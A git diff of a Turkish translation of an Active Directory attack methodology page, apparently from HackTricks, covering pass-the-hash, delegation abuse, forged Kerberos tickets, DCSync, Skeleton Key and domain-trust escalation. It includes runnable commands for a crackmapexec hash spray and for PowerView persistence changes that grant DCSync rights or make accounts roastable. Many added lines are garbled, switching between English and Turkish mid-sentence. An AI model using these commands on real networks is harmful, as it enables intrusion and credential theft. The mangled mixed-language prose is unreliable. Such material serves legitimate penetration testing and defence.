[**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) kullanmayı unutmayın. +Bu kitapta [**local privilege escalation in Windows**](../windows-local-privilege-escalation/index.html) hakkında tam bir sayfa ve bir [**checklist**](../checklist-windows-privilege-escalation.md) bulunmaktadır. Ayrıca [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) kullanmayı unutmayın. -### Mevcut Oturum Biletleri +### Current Session Tickets -Mevcut kullanıcıda **beklenmedik kaynaklara erişim izni veren** **biletler** bulmanız çok **olasılık dışıdır**, ancak kontrol edebilirsiniz: +Mevcut kullanıcıda beklenmeyen kaynaklara erişim izni veren **tickets** bulmanız çok **unlikely**, ancak yine de kontrol edebilirsiniz: ```bash ## List all tickets (if not admin, only current user tickets) .\Rubeus.exe triage @@ -212,17 +217,18 @@ Mevcut kullanıcıda **beklenmedik kaynaklara erişim izni veren** **biletler** ``` ### NTLM Relay -Eğer aktif dizini listelemeyi başardıysanız, **daha fazla e-posta ve ağ hakkında daha iyi bir anlayışa sahip olacaksınız**. NTLM [**relay saldırılarını**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)** gerçekleştirebilirsiniz.** +If you have managed to enumerate the active directory you will have **daha fazla e-posta ve ağ hakkında daha iyi bir anlayış**. You might be able to to force NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.** -### Bilgisayar Paylaşımlarında Kimlik Bilgilerini Ara | SMB Paylaşımları +### Looks for Creds in Computer Shares | SMB Shares -Artık bazı temel kimlik bilgilerine sahip olduğunuza göre, **AD içinde paylaşılan** herhangi bir **ilginç dosya bulup bulamayacağınızı kontrol etmelisiniz**. Bunu manuel olarak yapabilirsiniz ama bu çok sıkıcı ve tekrarlayan bir görevdir (ve kontrol etmeniz gereken yüzlerce belge bulursanız daha da fazla). +Now that you have some basic credentials you should check if you can **find** any **AD içinde paylaşılan ilginç dosyalar**. You could do that manually but it's a very boring repetitive task (and more if you find hundreds of docs you need to check). -[**Kullanabileceğiniz araçlar hakkında bilgi edinmek için bu bağlantıyı takip edin.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search) +[**Follow this link to learn about tools you could use.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search) -### NTLM Kimlik Bilgilerini Çal +### Steal NTLM Creds + +If you can **other PC'lere veya shares'a erişmek** you could **dosya yerleştirmek** (like a SCF file) that if somehow accessed will t**rigger an NTLM authentication against you** so you can **steal** the **NTLM challenge** to crack it: -Eğer **diğer PC'lere veya paylaşımlara erişiminiz varsa**, **dosyalar yerleştirebilirsiniz** (örneğin bir SCF dosyası) ve bu dosyaya bir şekilde erişildiğinde, **NTLM kimlik doğrulamasını tetikleyecek** ve **NTLM zorluğunu çalmanıza** olanak tanıyacaktır: {{#ref}} ../ntlm/places-to-steal-ntlm-creds.md @@ -230,115 +236,134 @@ Eğer **diğer PC'lere veya paylaşımlara erişiminiz varsa**, **dosyalar yerle ### CVE-2021-1675/CVE-2021-34527 PrintNightmare -Bu güvenlik açığı, herhangi bir kimlik doğrulaması yapılmış kullanıcının **alan denetleyicisini tehlikeye atmasına** izin verdi. +This vulnerability allowed any authenticated user to **domain controller'ı ele geçirmek**. {{#ref}} printnightmare.md {{#endref}} -## Aktif Dizin'de Yetki Yükseltme Özel Yetkiler/Kimlik Bilgileri ile +## Privilege escalation on Active Directory WITH privileged credentials/session -**Aşağıdaki teknikler için normal bir alan kullanıcısı yeterli değildir, bu saldırıları gerçekleştirmek için bazı özel yetkilere/kimlik bilgilerine ihtiyacınız var.** +**Aşağıdaki teknikler için normal bir domain kullanıcısı yeterli değildir, bu saldırıları gerçekleştirmek için bazı özel ayrıcalıklar/credentials gerekir.** -### Hash çıkarımı +### Hash extraction -Umarım [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) dahil olmak üzere, yerel bir yönetici hesabını **tehlikeye atmayı başardınız**. [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [yerel olarak yetki yükseltme](../windows-local-privilege-escalation/index.html).\ -Sonra, bellek ve yerel olarak tüm hash'leri dökme zamanı.\ -[**Hash'leri elde etmenin farklı yolları hakkında bu sayfayı okuyun.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md) +Umarım [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) (relaying dahil), [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [yerel ayrıcalıkları yükseltme](../windows-local-privilege-escalation/index.html) vb. kullanarak **bazı local admin hesaplarını ele geçirmeyi** başarmışsınızdır.\ +Şimdi, hafızadaki ve yereldeki tüm hashleri dump etme zamanı.\ +[**Farklı yollarla hashleri elde etme hakkında bu sayfayı okuyun.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md) -### Hash'i Geç +### Pass the Hash -**Bir kullanıcının hash'ine sahip olduğunuzda**, onu **taklit etmek için** kullanabilirsiniz.\ -Bu **hash** ile **NTLM kimlik doğrulamasını gerçekleştirecek** bazı **araçlar** kullanmalısınız, **veya** yeni bir **sessionlogon** oluşturup bu **hash'i** **LSASS** içine **enjekte** edebilirsiniz, böylece herhangi bir **NTLM kimlik doğrulaması yapıldığında**, o **hash kullanılacaktır.** Son seçenek, mimikatz'ın yaptığıdır.\ +**Bir kullanıcının hash'ini elde ettikten sonra**, onu **taklit etmek** için kullanabilirsiniz.\ +Bu hash'i kullanarak **NTLM authentication** gerçekleştirecek bir **tool** kullanmanız gerekir, **veya** yeni bir **sessionlogon** oluşturarak o **hash'i LSASS içine inject** edebilirseniz, böylece herhangi bir **NTLM authentication** yapıldığında o **hash** kullanılacaktır. Son seçenek mimikatz'in yaptığı şeydir.\ [**Daha fazla bilgi için bu sayfayı okuyun.**](../ntlm/index.html#pass-the-hash) -### Hash'i Aş/ Anahtarı Geç +### Over Pass the Hash/Pass the Key -Bu saldırı, **kullanıcı NTLM hash'ini Kerberos biletleri talep etmek için kullanmayı** amaçlar; bu, yaygın Pass The Hash NTLM protokolüne alternatif olarak. Bu nedenle, bu özellikle **NTLM protokolünün devre dışı bırakıldığı** ve yalnızca **Kerberos'un** kimlik doğrulama protokolü olarak **izin verildiği** ağlarda **yararlı olabilir**. +Bu saldırı, yaygın Pass The Hash over NTLM protokolüne alternatif olarak **kullanıcı NTLM hash'ini Kerberos biletleri istemek için** kullanmayı hedefler. Bu nedenle, NTLM protokolünün devre dışı bırakıldığı ve yalnızca **Kerberos**'un kimlik doğrulama protokolü olarak izin verildiği ağlarda özellikle **useful** olabilir. {{#ref}} over-pass-the-hash-pass-the-key.md {{#endref}} -### Bileti Geç +### Pass the Ticket -**Pass The Ticket (PTT)** saldırı yönteminde, saldırganlar **bir kullanıcının kimlik doğrulama biletini** çalarlar, bunun yerine şifrelerini veya hash değerlerini çalarlar. Bu çalınan bilet daha sonra **kullanıcıyı taklit etmek için** kullanılır ve bir ağ içinde kaynaklara ve hizmetlere yetkisiz erişim sağlar. +In the **Pass The Ticket (PTT)** attack method, attackers **bir kullanıcının authentication ticket'ını çalarlar** instead of their password or hash values. This stolen ticket is then used to **kullanıcının yerine geçmek**, network içinde kaynaklara ve servislere yetkisiz erişim sağlamak için. {{#ref}} pass-the-ticket.md {{#endref}} -### Kimlik Bilgileri Yeniden Kullanımı +### Credentials Reuse -Eğer bir **yerel yönetici**'nin **hash'ine** veya **şifresine** sahipseniz, bunu kullanarak diğer **PC'lere** **yerel olarak giriş yapmayı** denemelisiniz. +If you have the **hash** or **password** of a **local administrato**r you should try to **başka PC'lere yerel olarak login olmak** with it. ```bash # Local Auth Spray (once you found some local admin pass or hash) ## --local-auth flag indicate to only try 1 time per machine crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep + ``` > [!WARNING] -> Bu durumun oldukça **gürültülü** olduğunu ve **LAPS**'ın bunu **azaltacağını** unutmayın. +> Bunun oldukça **gürültülü** olduğunu ve **LAPS**'in bunu **hafifletebileceğini** unutmayın. -### MSSQL Kötüye Kullanımı & Güvenilir Bağlantılar +### MSSQL Kötüye Kullanımı & Trusted Links + +Eğer bir kullanıcının **MSSQL instance'larına erişim** yetkisi varsa, bunu MSSQL host üzerinde (SA olarak çalışıyorsa) **komut çalıştırmak**, NetNTLM **hash**'ini **çalmak** veya hatta bir **relay attack** gerçekleştirmek için kullanabilir.\ +Ayrıca, eğer bir MSSQL instance'ı farklı bir MSSQL instance tarafından trusted (database link) ise ve kullanıcı trusted veritabanı üzerinde yetkiye sahipse, **güven ilişkisini kullanarak diğer instance'ta da sorgu çalıştırabilecek**. Bu trust'lar zincirlenebilir ve kullanıcı sonunda bir şekilde yanlış yapılandırılmış bir veritabanı bularak komut çalıştırabilir.\ +**Veritabanları arasındaki bağlantılar forest trusts boyunca bile çalışır.** -Bir kullanıcının **MSSQL örneklerine erişim** yetkisi varsa, MSSQL ana bilgisayarında **komutlar çalıştırmak**, NetNTLM **hash**'ini **çalmak** veya hatta bir **relay** **saldırısı** gerçekleştirmek için bunu kullanabilir.\ -Ayrıca, bir MSSQL örneği başka bir MSSQL örneği tarafından güvenilir (veritabanı bağlantısı) olarak işaretlenmişse ve kullanıcı güvenilir veritabanı üzerinde yetkilere sahipse, **güven ilişkisini kullanarak diğer örnekte de sorgular çalıştırabilecektir**. Bu güven ilişkileri zincirlenebilir ve bir noktada kullanıcı, komutları çalıştırabileceği yanlış yapılandırılmış bir veritabanı bulabilir.\ -**Veritabanları arasındaki bağlantılar, orman güvenleri arasında bile çalışır.** {{#ref}} abusing-ad-mssql.md {{#endref}} -### Sınırsız Delegasyon +### IT asset/deployment platformlarının kötüye kullanımı + +Üçüncü taraf envanter ve dağıtım paketleri genellikle kimlik bilgilerine ve kod yürütmeye güçlü yollar açar. Bakınız: + +{{#ref}} +sccm-management-point-relay-sql-policy-secrets.md +{{#endref}} + +{{#ref}} +lansweeper-security.md +{{#endref}} + +### Unconstrained Delegation + +Eğer [ADS_UF_TRUSTED_FOR_DELEGATION]() özniteliğine sahip herhangi bir Computer objesi bulursanız ve o bilgisayarda domain ayrıcalıklarına sahipseniz, o bilgisayara oturum açan her kullanıcının belleğinden TGT'leri dump'layabilirsiniz.\ +Dolayısıyla, eğer bir **Domain Admin bilgisayara giriş yaparsa**, TGT'sini dump'layabilir ve [Pass the Ticket](pass-the-ticket.md) kullanarak onu taklit edebilirsiniz.\ +Constrained delegation sayesinde hatta **otomatik olarak bir Print Server'ı** (umarız bir DC olur) **ele geçirebilirsiniz**. -Eğer [ADS_UF_TRUSTED_FOR_DELEGATION]() niteliğine sahip herhangi bir Bilgisayar nesnesi bulursanız ve bilgisayarda alan yetkileriniz varsa, bilgisayara giriş yapan her kullanıcının TGT'sini bellekten dökme yeteneğine sahip olursunuz.\ -Yani, eğer bir **Domain Admin bilgisayara giriş yaparsa**, onun TGT'sini dökebilir ve [Pass the Ticket](pass-the-ticket.md) kullanarak onu taklit edebilirsiniz.\ -Sınırlı delegasyon sayesinde, **bir Yazıcı Sunucusunu otomatik olarak tehlikeye atabilirsiniz** (umarım bu bir DC olacaktır). {{#ref}} unconstrained-delegation.md {{#endref}} -### Sınırlı Delegasyon +### Constrained Delegation + +Eğer bir kullanıcı veya bilgisayar "Constrained Delegation" için yetkilendirilmişse, belirli servislerde **herhangi bir kullanıcıyı taklit ederek** erişim sağlayabilir.\ +Sonrasında, bu kullanıcı/bilgisayarın **hash'ini ele geçirirseniz**, bazı hizmetlere erişmek için **herhangi bir kullanıcıyı** (hatta domain admin'leri bile) **taklit edebilirsiniz**. -Eğer bir kullanıcı veya bilgisayara "Sınırlı Delegasyon" izni verilmişse, bu, **bir kullanıcının bir bilgisayardaki bazı hizmetlere erişmek için taklit edilmesine** olanak tanır.\ -Sonrasında, eğer bu kullanıcı/bilgisayarın **hash'ini tehlikeye atarsanız**, **herhangi bir kullanıcıyı** (hatta alan yöneticilerini) taklit ederek bazı hizmetlere erişebilirsiniz. {{#ref}} constrained-delegation.md {{#endref}} -### Kaynak Tabanlı Sınırlı Delegasyon +### Resourced-based Constrain Delegation + +Uzak bir bilgisayarın Active Directory objesi üzerinde **WRITE** ayrıcalığına sahip olmak, **yükseltilmiş ayrıcalıklarla** kod yürütmeyi mümkün kılar: -Uzak bir bilgisayarın Active Directory nesnesinde **YAZMA** yetkisine sahip olmak, **yükseltilmiş yetkilerle** kod yürütme elde edilmesini sağlar: {{#ref}} resource-based-constrained-delegation.md {{#endref}} -### İzinler/ACL'ler Kötüye Kullanımı +### Permissions/ACLs Kötüye Kullanımı + +Ele geçirilen kullanıcı, size daha sonra **lateral hareket**/ **yükseltme** yapma imkanı verebilecek bazı **ilginç ayrıcalıklara** sahip olabilir. -Kompromize olmuş bir kullanıcı, bazı alan nesneleri üzerinde bazı **ilginç yetkilere** sahip olabilir ve bu da size **yanal hareket etme**/**yetki yükseltme** imkanı verebilir. {{#ref}} acl-persistence-abuse/ {{#endref}} -### Yazıcı Spooler Servisi Kötüye Kullanımı +### Printer Spooler servisi kötüye kullanımı + +Domain içinde **Spool servisi dinleyen** bir sistem keşfetmek, **yeni kimlik bilgileri elde etmek** ve **ayrıcalıkları yükseltmek** için **kötüye kullanılabilir**. -Alan içinde dinleyen bir **Spool servisi** keşfetmek, **yeni kimlik bilgileri edinmek** ve **yetki yükseltmek** için **kötüye kullanılabilir**. {{#ref}} printers-spooler-service-abuse.md {{#endref}} -### Üçüncü Taraf Oturumları Kötüye Kullanımı +### Third party oturumların kötüye kullanımı + +Eğer **diğer kullanıcılar** **ele geçirilmiş** makineye **erişiyorsa**, bellekten **kimlik bilgileri toplamak** ve hatta **işlemlerine beacon enjekte ederek** onları taklit etmek mümkündür.\ +Kullanıcılar genellikle sisteme RDP ile eriştiği için, üçüncü taraf RDP oturumlarına karşı yapılabilecek birkaç saldırı şöyle: -Eğer **diğer kullanıcılar** **kompromize** olmuş makineye **erişirse**, bellekten **kimlik bilgilerini toplamak** ve hatta **onların süreçlerine işaretçiler enjekte etmek** mümkündür.\ -Genellikle kullanıcılar sisteme RDP aracılığıyla erişir, bu nedenle burada üçüncü taraf RDP oturumları üzerinde birkaç saldırı gerçekleştirme yöntemini bulabilirsiniz: {{#ref}} rdp-sessions-abuse.md @@ -346,7 +371,8 @@ rdp-sessions-abuse.md ### LAPS -**LAPS**, alan bağlı bilgisayarlardaki **yerel Yönetici parolasını** yönetmek için bir sistem sağlar, bunun **rastgele**, benzersiz ve sık sık **değiştirildiğinden** emin olur. Bu parolalar Active Directory'de saklanır ve erişim, yalnızca yetkili kullanıcılara ACL'ler aracılığıyla kontrol edilir. Bu parolalara erişim için yeterli izinlere sahip olduğunuzda, diğer bilgisayarlara geçiş yapmak mümkün hale gelir. +**LAPS**, domain'e üye bilgisayarlarda **local Administrator parolasını** yönetmek için bir sistem sağlar; parolaların **rastgele**, benzersiz ve sıkça **değiştirilmesini** güvence altına alır. Bu parolalar Active Directory'de saklanır ve erişim yalnızca yetkili kullanıcılar için ACL'lerle kontrol edilir. Bu parolalara erişmek için yeterli izinlere sahip olunursa, diğer bilgisayarlara pivot yapmak mümkün olur. + {{#ref}} laps.md @@ -354,7 +380,8 @@ laps.md ### Sertifika Hırsızlığı -Kompromize olmuş makineden **sertifikaları toplamak**, ortam içinde yetki yükseltmenin bir yolu olabilir: +Ele geçirilen makineden **sertifikaların toplanması**, ortam içinde ayrıcalıkları yükseltmenin bir yolu olabilir: + {{#ref}} ad-certificates/certificate-theft.md @@ -362,129 +389,140 @@ ad-certificates/certificate-theft.md ### Sertifika Şablonları Kötüye Kullanımı -Eğer **savunmasız şablonlar** yapılandırılmışsa, bunları kötüye kullanarak yetki yükseltmek mümkündür: +Eğer **zayıf şablonlar** yapılandırılmışsa, bunları ayrıcalıkları yükseltmek için kötüye kullanmak mümkündür: + {{#ref}} ad-certificates/domain-escalation.md {{#endref}} -## Yüksek Yetkili Hesap ile Post-Exploitation +## Yüksek ayrıcalıklı hesap ile post-exploitation -### Alan Kimlik Bilgilerini Dökme +### Domain Kimlik Bilgilerinin Dökülmesi -**Domain Admin** veya daha iyi bir **Enterprise Admin** yetkisi elde ettiğinizde, **alan veritabanını** dökebilirsiniz: _ntds.dit_. +Bir kere **Domain Admin** veya daha da iyisi **Enterprise Admin** ayrıcalıkları elde ettiğinizde, **domain veritabanını** (_ntds.dit_) **dökebilirsiniz**. [**DCSync saldırısı hakkında daha fazla bilgi burada bulunabilir**](dcsync.md). -[**NTDS.dit'i çalma hakkında daha fazla bilgi burada bulunabilir**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md) +[**NTDS.dit'i nasıl çalacağınız hakkında daha fazla bilgi burada bulunabilir**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md) -### Privesc olarak Süreklilik +### Kalıcılık İçin Privesc -Daha önce tartışılan bazı teknikler süreklilik için kullanılabilir.\ -Örneğin: +Daha önce bahsedilen bazı teknikler kalıcılık için de kullanılabilir.\ +Örneğin yapabilecekleriniz: -- Kullanıcıları [**Kerberoast**](kerberoast.md) için savunmasız hale getirin +- Kullanıcıları [**Kerberoast**](kerberoast.md) için savunmasız hale getirmek ```bash Set-DomainObject -Identity -Set @{serviceprincipalname="fake/NOTHING"}r ``` -- Kullanıcıları [**ASREPRoast**](asreproast.md) için savunmasız hale getirin +- Kullanıcıları [**ASREPRoast**](asreproast.md) için savunmasız hale getirmek ```bash Set-DomainObject -Identity -XOR @{UserAccountControl=4194304} ``` -- Bir kullanıcıya [**DCSync**](#dcsync) yetkileri verin +- Bir kullanıcıya [**DCSync**](#dcsync) ayrıcalıkları vermek ```bash Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync ``` -### Gümüş Bilet +### Silver Ticket + +**Silver Ticket saldırısı**, belirli bir servis için **meşru bir Ticket Granting Service (TGS) ticket'ı** oluşturur; genellikle **NTLM hash**i kullanılarak (örneğin PC hesabının hash'i). Bu yöntem servis ayrıcalıklarına **erişim sağlamak** için kullanılır. -**Gümüş Bilet saldırısı**, belirli bir hizmet için **geçerli bir Ticket Granting Service (TGS) bileti** oluşturur ve bunu **NTLM hash**'ini kullanarak gerçekleştirir (örneğin, **PC hesabının hash'i**). Bu yöntem, **hizmet ayrıcalıklarına erişmek** için kullanılır. {{#ref}} silver-ticket.md {{#endref}} -### Altın Bilet +### Golden Ticket -**Altın Bilet saldırısı**, bir saldırganın Active Directory (AD) ortamında **krbtgt hesabının NTLM hash'ine** erişim sağlamasıyla ilgilidir. Bu hesap, AD ağında kimlik doğrulama için gerekli olan tüm **Ticket Granting Tickets (TGT'ler)**'i imzalamak için kullanıldığı için özeldir. +**Golden Ticket saldırısı**, saldırganın Active Directory ortamında **krbtgt hesabının NTLM hash'ine** erişmesiyle gerçekleşir. Bu hesap, tüm **Ticket Granting Ticket (TGT)**'leri imzalamak için kullanıldığından özel bir öneme sahiptir ve AD içinde kimlik doğrulama için gereklidir. + +Saldırgan bu hash'i elde ettikten sonra, istediği herhangi bir hesap için **TGT** oluşturabilir (Silver ticket saldırısına benzer şekilde). -Saldırgan bu hash'i elde ettiğinde, istedikleri herhangi bir hesap için **TGT'ler** oluşturabilir (Gümüş bilet saldırısı). {{#ref}} golden-ticket.md {{#endref}} -### Elmas Bilet +### Diamond Ticket + +Bunlar, yaygın golden ticket tespit mekanizmalarını **atlayacak** şekilde sahte oluşturulmuş golden ticket'lara benzerler. -Bunlar, **yaygın altın bilet tespit mekanizmalarını atlayacak şekilde** sahte olarak oluşturulmuş altın biletler gibidir. {{#ref}} diamond-ticket.md {{#endref}} -### **Sertifikalar Hesap Sürekliliği** +### Sertifikalar ile Hesap Kalıcılığı + +Bir hesabın **sertifikalarına sahip olmak veya bunları talep edebilmek**, kullanıcının hesabında parolayı değiştirse bile **kalıcılık sağlamak** için çok iyi bir yoldur: -**Bir hesabın sertifikalarına sahip olmak veya bunları talep edebilmek**, kullanıcı hesabında sürekliliği sağlamak için çok iyi bir yoldur (şifreyi değiştirse bile): {{#ref}} ad-certificates/account-persistence.md {{#endref}} -### **Sertifikalar Alan Sürekliliği** +### Sertifikalar ile Domain Kalıcılığı + +**Sertifikaları kullanarak** domain içinde yüksek ayrıcalıklarla da **kalıcılık sağlamak** mümkündür: -**Sertifikaları kullanarak, alan içinde yüksek yetkilerle de süreklilik sağlamak mümkündür:** {{#ref}} ad-certificates/domain-persistence.md {{#endref}} -### AdminSDHolder Grubu +### AdminSDHolder Group -Active Directory'deki **AdminSDHolder** nesnesi, **yetkili grupların** (Domain Admins ve Enterprise Admins gibi) güvenliğini sağlamak için bu gruplar üzerinde standart bir **Erişim Kontrol Listesi (ACL)** uygular ve yetkisiz değişiklikleri önler. Ancak, bu özellik kötüye kullanılabilir; eğer bir saldırgan AdminSDHolder'ın ACL'sini düzenleyerek sıradan bir kullanıcıya tam erişim verirse, o kullanıcı tüm yetkili gruplar üzerinde geniş kontrol elde eder. Bu güvenlik önlemi, koruma amacıyla tasarlanmış olsa da, dikkatli bir şekilde izlenmediği takdirde istenmeyen erişimlere yol açabilir. +Active Directory'deki **AdminSDHolder** objesi, **privileged group'ların** (Domain Admins ve Enterprise Admins gibi) güvenliğini sağlamak için bu gruplara standart bir **Access Control List (ACL)** uygular ve yetkisiz değişiklikleri engeller. Ancak, bu özellik kötüye kullanılabilir; eğer bir saldırgan AdminSDHolder'ın ACL'sini değiştirip normal bir kullanıcıya tam erişim verirse, o kullanıcı tüm ayrıcalıklı gruplar üzerinde geniş kontrol elde eder. Bu güvenlik önlemi doğru şekilde izlenmezse, ters tepki vererek yetkisiz erişime yol açabilir. -[**AdminDSHolder Grubu hakkında daha fazla bilgi burada.**](privileged-groups-and-token-privileges.md#adminsdholder-group) +[**AdminDSHolder Group hakkında daha fazla bilgi burada.**](privileged-groups-and-token-privileges.md#adminsdholder-group) ### DSRM Kimlik Bilgileri -Her **Domain Controller (DC)** içinde bir **yerel yönetici** hesabı bulunur. Böyle bir makinede yönetici hakları elde ederek, yerel Yönetici hash'ini **mimikatz** kullanarak çıkarabilirsiniz. Ardından, bu parolanın **kullanımını etkinleştirmek** için bir kayıt defteri değişikliği gereklidir; bu, yerel Yönetici hesabına uzaktan erişim sağlar. +Her bir **Domain Controller (DC)** içinde bir **local administrator** hesabı vardır. Böyle bir makinede admin hakları elde ederek, local Administrator hash'i **mimikatz** ile çıkarılabilir. Ardından bu parolanın **kullanılabilmesini etkinleştirmek** için bir registry değişikliği gerekir; bu sayede local Administrator hesabına uzaktan erişim sağlanabilir. + {{#ref}} dsrm-credentials.md {{#endref}} -### ACL Sürekliliği +### ACL Kalıcılığı + +Bir kullanıcıya belirli domain objeleri üzerinde **özel izinler** vererek, o kullanıcının ileride **ayrıcalık yükseltmesi** yapmasını sağlayabilirsiniz. -Belirli alan nesneleri üzerinde bir **kullanıcıya** bazı **özel izinler** verebilir ve bu, kullanıcının **gelecekte yetki yükseltmesine** olanak tanır. {{#ref}} acl-persistence-abuse/ {{#endref}} -### Güvenlik Tanımlayıcıları +### Security Descriptors + +**Security descriptor'lar**, bir **objenin** üzerinde hangi **izinlerin** bulunduğunu **saklamak** için kullanılır. Bir objenin security descriptor'unda **küçük bir değişiklik** yapabiliyorsanız, o obje üzerinde ayrıcalıklı grup üyesi olmanız gerekmeden çok ilginç ayrıcalıklar elde edebilirsiniz. -**Güvenlik tanımlayıcıları**, bir **nesnenin** üzerinde sahip olduğu **izinleri** **saklamak** için kullanılır. Eğer bir nesnenin **güvenlik tanımlayıcısında** sadece **küçük bir değişiklik** yapabilirseniz, o nesne üzerinde, ayrıcalıklı bir grubun üyesi olmanıza gerek kalmadan çok ilginç yetkilere sahip olabilirsiniz. {{#ref}} security-descriptors.md {{#endref}} -### İskelet Anahtar +### Skeleton Key + +LSASS belleğini değiştirerek **evrensel bir parola** oluşturun; bu, tüm domain hesaplarına erişim sağlar. -**LSASS**'ı bellekte değiştirerek, tüm alan hesaplarına erişim sağlayan **evrensel bir parola** oluşturun. {{#ref}} skeleton-key.md {{#endref}} -### Özel SSP +### Custom SSP + +[SSP (Security Support Provider) nedir buradan öğrenin.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\ +Kendi **SSP**'nizi oluşturarak, makineye erişimde kullanılan **kimlik bilgilerini** **düz metin** halinde **yakalayabilirsiniz**. -[Bir SSP'nin (Güvenlik Destek Sağlayıcısı) ne olduğunu burada öğrenin.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\ -Kendi **SSP'nizi** oluşturabilir ve makineye erişim için kullanılan **kimlik bilgilerini** **düz metin** olarak **yakalamak** için kullanabilirsiniz. {{#ref}} custom-ssp.md @@ -492,78 +530,80 @@ custom-ssp.md ### DCShadow -AD'de **yeni bir Domain Controller** kaydeder ve belirli nesnelerde **özellikleri** (SIDHistory, SPN'ler...) **güncellemeleri** **log** bırakmadan **itme** işlemi yapar. **DA** yetkilerine sahip olmanız ve **kök alan** içinde olmanız gerekir.\ -Yanlış veri kullanırsanız, oldukça kötü loglar ortaya çıkacaktır. +AD'de yeni bir **Domain Controller** kaydeder ve belirtilen objeler üzerinde (SIDHistory, SPN'ler...) **değişiklikleri push etmek** için bunu kullanır; yapılan **değişikliklerle** ilgili **log** bırakmaz. Bunun için **DA** ayrıcalıklarına ve **root domain** içinde olmaya ihtiyacınız vardır.\ +Yanlış veri kullanırsanız, oldukça çirkin log'lar ortaya çıkacağını unutmayın. + {{#ref}} dcshadow.md {{#endref}} -### LAPS Sürekliliği +### LAPS Kalıcılığı + +Daha önce LAPS parolalarını **okuma** yetkisine sahip olmanın nasıl ayrıcalık yükseltmeye yol açabileceğini tartıştık. Bu parolalar aynı zamanda **kalıcılık** için de kullanılabilir.\ +Bakınız: -Daha önce, **LAPS parolalarını okuma iznine sahip olduğunuzda** nasıl yetki yükseltebileceğimizi tartıştık. Ancak, bu parolalar **sürekliliği sağlamak** için de kullanılabilir.\ -Kontrol edin: {{#ref}} laps.md {{#endref}} -## Orman Yetki Yükseltme - Alan Güvenleri +## Forest Ayrıcalık Yükseltmesi - Domain Trusts -Microsoft, **Ormanı** güvenlik sınırı olarak görmektedir. Bu, **tek bir alanın tehlikeye atılmasının, tüm Ormanın tehlikeye atılmasına yol açabileceği** anlamına gelir. +Microsoft, **Forest**'ı güvenlik sınırı olarak görür. Bu, **tek bir domain'in ele geçirilmesinin tüm Forest'ın ele geçirilmesine yol açabileceği** anlamına gelir. ### Temel Bilgiler -Bir [**alan güveni**](), bir **alan** kullanıcısının başka bir **alan** içindeki kaynaklara erişmesini sağlayan bir güvenlik mekanizmasıdır. Temelde, iki alanın kimlik doğrulama sistemleri arasında bir bağlantı oluşturur ve kimlik doğrulama doğrulamalarının sorunsuz bir şekilde akmasına olanak tanır. Alanlar bir güven oluşturduğunda, güvenin bütünlüğü için kritik olan belirli **anahtarları** **Domain Controller'ları (DC'ler)** arasında değiş tokuş eder ve saklar. +Bir [**domain trust**](), bir domain'deki bir kullanıcının başka bir domain'deki kaynaklara erişmesini sağlayan bir güvenlik mekanizmasıdır. İki domainin kimlik doğrulama sistemleri arasında bir bağlantı oluşturur ve doğrulama taleplerinin akışını kolaylaştırır. Domainler bir trust kurduklarında, güvenin bütünlüğü için önemli olan belirli **anahtarları** Domain Controller (DC)'lerinde değiş tokuş eder ve saklarlar. -Tipik bir senaryoda, bir kullanıcı **güvenilir bir alandaki** bir hizmete erişmek istediğinde, önce kendi alanının DC'sinden **inter-realm TGT** olarak bilinen özel bir bilet talep etmesi gerekir. Bu TGT, her iki alanın üzerinde anlaştığı bir **anahtar** ile şifrelenmiştir. Kullanıcı, bu TGT'yi **güvenilir alanın DC'sine** sunarak bir hizmet bileti (**TGS**) alır. Güvenilir alanın DC'si inter-realm TGT'yi başarılı bir şekilde doğruladığında, bir TGS vererek kullanıcıya hizmete erişim izni verir. +Tipik bir senaryoda, bir kullanıcı trusted domain'deki bir servise erişmek istediğinde önce kendi domain'inin DC'sinden özel bir ticket olan **inter-realm TGT**'yi talep etmelidir. Bu TGT, iki domain arasındaki trust kapsamında ortaklaşa paylaşılan bir **anahtar** ile şifrelenir. Kullanıcı daha sonra bu inter-realm TGT'yi **trusted domain**in DC'sine sunar ve bir servis ticket'ı (**TGS**) alır. Trusted domain'in DC'si inter-realm TGT'yi doğruladıktan sonra TGS'yi verir ve kullanıcı servise erişir. **Adımlar**: -1. **Domain 1**'deki bir **istemci bilgisayar**, **Domain Controller (DC1)**'den **Ticket Granting Ticket (TGT)** talep etmek için **NTLM hash**'ini kullanarak süreci başlatır. -2. İstemci başarılı bir şekilde kimlik doğrulandıysa, DC1 yeni bir TGT verir. -3. İstemci, **Domain 2**'deki kaynaklara erişmek için gereken **inter-realm TGT**'yi DC1'den talep eder. -4. Inter-realm TGT, DC1 ve DC2 arasında iki yönlü alan güveni kapsamında paylaşılan bir **güven anahtarı** ile şifrelenmiştir. -5. İstemci, inter-realm 